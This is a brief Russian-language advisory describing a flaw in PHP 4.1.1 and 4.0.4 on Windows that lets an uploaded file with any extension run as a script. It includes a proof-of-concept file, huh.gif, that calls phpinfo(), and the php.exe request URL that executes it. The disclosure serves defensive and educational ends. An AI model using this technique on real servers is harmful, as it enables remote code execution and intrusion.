РНР (версии 4.1.1 и 4.0.4) под Windows можно
заставить интерпретировать любой файл как
скрипт. Например можно загрузить на сервер
скрипт с расширением gif или mp3 и потом
передать имя файла как аргумент PHP.exe и
программа выполнится. Например делаем huh.gif:
#------------
<?
phpinfo();
?>
#------------
и исполняем:
http://www.example.com/php/php.exe/UPLOAD_DIRECTORY/huh.gif